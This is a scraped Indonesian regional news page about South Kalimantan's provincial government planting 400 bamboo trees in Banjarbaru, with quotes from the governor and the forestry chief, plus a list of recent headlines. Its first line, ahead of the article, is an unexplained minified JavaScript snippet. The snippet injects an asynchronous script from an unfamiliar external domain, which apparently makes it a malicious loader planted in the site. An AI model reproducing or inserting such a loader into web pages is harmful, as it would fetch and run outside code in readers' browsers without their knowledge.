(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Pemprov Kalsel Tanam 400 Bambu di Miniatur Hutan Tropis


BANJARBARU, Setelah penanaman 823 batang bambu di Taman Hutan Raya (Tahura) Sultan Adam, Kabupaten Banjar, Pemprov Kalsel kembali menanam 400 pohon sejenis di miniatur Hutan Hujan Tropis, Kompleks Perkantoran Setdaprov di Banjarbaru, Jumat (11/1).

Menurut Gubernur Sahbirin Noor yang memimpin langsung penanaman, langkah tersebut dapat mengurangi lahan kritis dan meningkatkan indeks kualitas lingkungan hidup. “Penanaman ini pun, termasuk upaya pengembangan budaya bambu yang dapat menggerakkan kesejahteraan masyarakat. Selain jenis pohon lainnya yang telah lebih dulu dibudidayakan,” jelas Sahbirin.

Bahkan penanaman yang terus dilakukan, lanjut Sahbirin, mampu mengatasi lahan kritis hingga berkurang cukup signifikan. Dari 640 ribu hektare, kini tersisa 511 ribu hektare. “Kondisi ini juga menigkatkan indeks kualitas lingkungan hidup daerah, dari urutan 26 naik keurutan 19,” tandasnya.

Pohon bambu ini pengendali perubahan iklim, baik untuk rehabilitasi lahan terdegradasi, mampu menyerap dan menyimpan karbon. “Pohon bambu ini juga berpotensi untuk meningkatkan kesejahteraan rakyat, karena bambu dapat diolah menjadi berbagai macam produk,” katanya.

Sahbirin baru–baru ini mendapatkan penghargaan dari LKBN Antara karena dinilai berhasil dalam melestarikan alam dan lingkungan melalui Gerakan Revolusi Hijau.

Khusus untuk gerakan ini, Gubernur mengaku tidak ada keinginan untuk mengejar penghargaan. Namun tulus memperbaiki lingkungan dan kondisi alam di banua yang cukup parah kerusakannya.

Sementara Kadishut Kalsel, Hanif Faisol Nurofiq mengatakan, pada 2018 Kalsel telah menanam pada 29. 800 hektare lahan. Sedang di 2019 akan tertanami sebanyak 46 ribu hektare. “Di lahan tersebut tak hanya bambu, tapi juga pohon meranti” jelas Hanif didampingi Kepala Dinas Lingkungan Hidup Kalsel, Ikhlas.

Bibit bambu yag ditanam terdiri 22 jenis, didapat dari lembaga penelitian Jogja. Sementara 14 lainnya, bibit lokal. Selain kawasan Tahura Sultan Adam akan menjadi Arboretum Bambu, Dishut Kalsel juga mendorong pengembangannya di Desa Lumpangi, HSS, sebagai desa 1.000 bambu. (rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.